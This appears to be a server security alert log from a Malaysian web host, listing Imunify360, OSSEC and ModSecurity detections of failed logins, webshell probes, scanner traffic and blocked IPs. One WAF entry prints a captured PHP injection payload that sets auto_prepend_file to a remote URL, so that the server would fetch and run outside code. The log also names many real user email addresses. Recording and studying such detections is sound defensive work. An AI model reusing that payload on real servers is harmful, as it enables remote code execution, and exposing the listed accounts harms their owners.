2026-01-27 15:29:24 dovecot_login authenticator failed for H=(adsl.viettel.vn) [115.77.111.2]:50166: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 15:30:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:15267: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.40.197
country_id: 953987
description:
Jan 27 15:30:51 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.40.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.230.243.72
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-31.23.230.243.72||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/about-us||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 69.46.65.56
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-31.69.46.65.56||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.40.197
country_id: 953987
description:
Jan 27 15:31:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.40.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.117.222
country_id: 226074
description:
Jan 27 15:31:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.117.222 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 15:31:33 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - waimeng.lok@tujusetia.my [01/27/2026:07:32:19 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: waimeng.lok@tujusetia.my


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.222.113.1
country_id: 3923057
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/tijsverkoyen/css-to-inline-styles/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.124.96.23
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/tijsverkoyen/css-to-inline-styles HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 185.244.106.251
country_id: 6252001
description:
2026-01-27 15:34:52 820410 [Warning] Aborted connection 820410 to db: 'unconnected' user: 'unauthenticated' host: '185.244.106.251' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.244.106.251
country_id: 6252001
description:
2026-01-27 15:34:49 820404 [Warning] Aborted connection 820404 to db: 'unconnected' user: 'unauthenticated' host: '185.244.106.251' (This connection closed normally without authentication)


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 15:35:03 sv3 pure-ftpd[2561637]: (eminent@113.211.212.49) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 15:35:01 sv3 pure-ftpd[2561637]: (?@113.211.212.49) [INFO] New connection from 113.211.212.49


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.27.122
country_id: 798544
description:
Jan 27 15:36:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.27.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.27.122
country_id: 798544
description:
Jan 27 15:37:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.27.122 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 161.142.147.43
country_id: 1733045
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/cms-blockingpage-webui/resources/images/tmobile/general/logo_white.png?pfdrid_c=true HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 58.145.184.247
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/cms-blockingpage-webui/resources/images/tmobile/onnetsecurity/warning.png?pfdrid_c=true HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/malaysia-infinity-design-projects/img/testimonial.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.244.106.251
country_id: 6252001
description:
2026-01-27 15:39:54 820663 [Warning] Aborted connection 820663 to db: 'unconnected' user: 'unauthenticated' host: '185.244.106.251' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 185.244.106.251
country_id: 6252001
description:
2026-01-27 15:39:57 820678 [Warning] Aborted connection 820678 to db: 'unconnected' user: 'unauthenticated' host: '185.244.106.251' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 15:40:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63387: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.75
country_id: 3469034
description:
Jan 27 15:44:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.75 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 71.6.232.20
country_id: 6252001
description:
2026-01-27 15:44:26 820877 [Warning] Aborted connection 820877 to db: 'unconnected' user: 'unauthenticated' host: '71.6.232.20' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.138
country_id: 3469034
description:
Jan 27 15:44:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.138
country_id: 3469034
description:
Jan 27 15:45:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.138 has been locked due to Imunify RBL


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 10.1.14.100
description:
Jan 27 15:45:30 sv3 sshd[2580389]: Accepted publickey for root from 10.1.14.100 port 50977 ssh2: RSA SHA256:WdDh84n9i7OwfL83TC4Q9y94bNOmxYGU2yeZfrTsxL0


plugin: modsec
rule: 77210801
name: IM360 WAF: Request Indicates a Security Scanner Scanned the Site
abuser: 203.80.23.190
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Request Indicates a Security Scanner Scanned the Site||MV:sqlmap/1.8.4#stable (https://sqlmap.org)||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 15:49:29 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77625153
name: IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 129.150.46.190
country_id: 1880251
domain: astlog.com.my
description:
IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:||MV:-dsafe_mode=off -ddisable_functions=null -dallow_url_fopen=on -dallow_url_include=on -dauto_prepend_file=https://cld.pt/dl/download/58887b17-33bd-494e-983d-6b9b494045ff/link.txt||MVN:MATCHED_VAR||WPU:||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.164.220.189
country_id: 953987
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpunit/php-timer/src/Timer.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 112.135.216.4
country_id: 1227603
description:
2026-01-27 15:51:00 821202 [Warning] Aborted connection 821202 to db: 'unconnected' user: 'unauthenticated' host: '112.135.216.4' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 112.135.216.4
country_id: 1227603
description:
2026-01-27 15:51:01 821206 [Warning] Aborted connection 821206 to db: 'unconnected' user: 'unauthenticated' host: '112.135.216.4' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.51.30.144
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Classes/PHPExcel/Worksheet/AutoFilter HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.90.209.45
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Classes/PHPExcel/Worksheet/AutoFilter/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.249.66.28
country_id: 953987
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/File/File.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 15:56:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9705: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.77.29
country_id: 690791
description:
Jan 27 15:56:46 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.77.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.115
country_id: 3469034
description:
Jan 27 15:57:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.115 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 15:58:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:15273: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - corporate_chaah@ajplantations.com.my [01/27/2026:08:00:59 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: corporate_chaah@ajplantations.com.my


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 16:02:25 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.6.123
country_id: 3077311
description:
Jan 27 16:06:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.6.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.16.212.188
country_id: 3865483
description:
Jan 27 16:06:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.16.212.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.16.212.188
country_id: 3865483
description:
Jan 27 16:07:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.16.212.188 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 216.73.161.155
country_id: 6252001
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.67||T:APACHE||RA:216.73.161.155||TA:216.73.161.155||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 16:08:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63548: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.64.100
country_id: 1269750
description:
Jan 27 16:08:53 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.64.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.64.100
country_id: 1269750
description:
Jan 27 16:09:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.64.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.77.138
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-09.92.71.77.138||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.48.65.38
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/routing/Tests/Fixtures/OtherAnnotatedClasses HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.2.218.123
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/routing/Tests/Fixtures/OtherAnnotatedClasses/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.7.149.229
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/maatwebsite/excel/src/Maatwebsite/Excel/Files HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.206.124.36
country_id: 99237
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/maatwebsite/excel/src/Maatwebsite/Excel/Files/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/demos/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:16:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.146.240.123
country_id: 2542007
description:
Jan 27 16:17:12 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.146.240.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.240.123
country_id: 2542007
description:
2026-01-27 16:17:14 dovecot_plain authenticator failed for H=(argening) [154.146.240.123]:56840: 535 Incorrect authentication data (set_id=muhdfauzan@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:17:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:19:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 82.29.122.195
country_id: 6251999
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-19.82.29.122.195||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 16:20:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:21:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.146.240.123
country_id: 2542007
description:
Jan 27 16:21:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.146.240.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.240.123
country_id: 2542007
description:
2026-01-27 16:21:21 dovecot_plain authenticator failed for H=(reflaphoon) [154.146.240.123]:51640: 535 Incorrect authentication data (set_id=adeline@ocned.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:23:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 16:24:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9709: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 16:24:47 H=([104.37.174.67]) [104.37.174.67]:58612 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <hr@cordage.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:25:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 16:26:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:15279: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.44
country_id: 690791
description:
2026-01-27 16:27:01 H=([45.144.212.44]) [45.144.212.44]:62936 F=<ftirado@atom-spain.com> rejected RCPT <sales@cordage.com.my>: SPF: 45.144.212.44 is not allowed to send mail from atom-spain.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.112.126
country_id: 1269750
description:
Jan 27 16:27:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.112.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.112.126
country_id: 1269750
description:
2026-01-27 16:27:20 dovecot_login authenticator failed for H=([27.123.112.126]) [27.123.112.126]:41176: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:27:30 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:28:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.227.147.94
country_id: 290557
description:
Jan 27 16:29:50 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.227.147.94 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.147.94
country_id: 290557
description:
2026-01-27 16:29:52 dovecot_plain authenticator failed for H=(relavary) [80.227.147.94]:57911: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:30:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/languages/images/sliders/login.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.17.72
country_id: 2300660
description:
Jan 27 16:31:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.17.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.44
country_id: 690791
description:
2026-01-27 16:32:22 H=([45.144.212.44]) [45.144.212.44]:65175 F=<ftirado@atom-spain.com> rejected RCPT <info@aire-fresh.com>: SPF: 45.144.212.44 is not allowed to send mail from atom-spain.com


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 18.218.239.217
country_id: 6252001
domain: www.nexuscollection.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.67||T:APACHE||RA:18.218.239.217||TA:18.218.239.217||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:33:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:34:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.5.198.1
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/var-dumper/Caster/FrameStub.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 16:36:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63586: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:36:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:38:34 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:39:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.38
country_id: 6252001
description:
2026-01-27 16:41:19 823268 [Warning] Aborted connection 823268 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.38' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 16:41:46 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.57.17
country_id: 3469034
description:
Jan 27 16:43:26 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.57.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.151
country_id: 732800
description:
Jan 27 16:43:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.151
country_id: 732800
description:
Jan 27 16:44:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
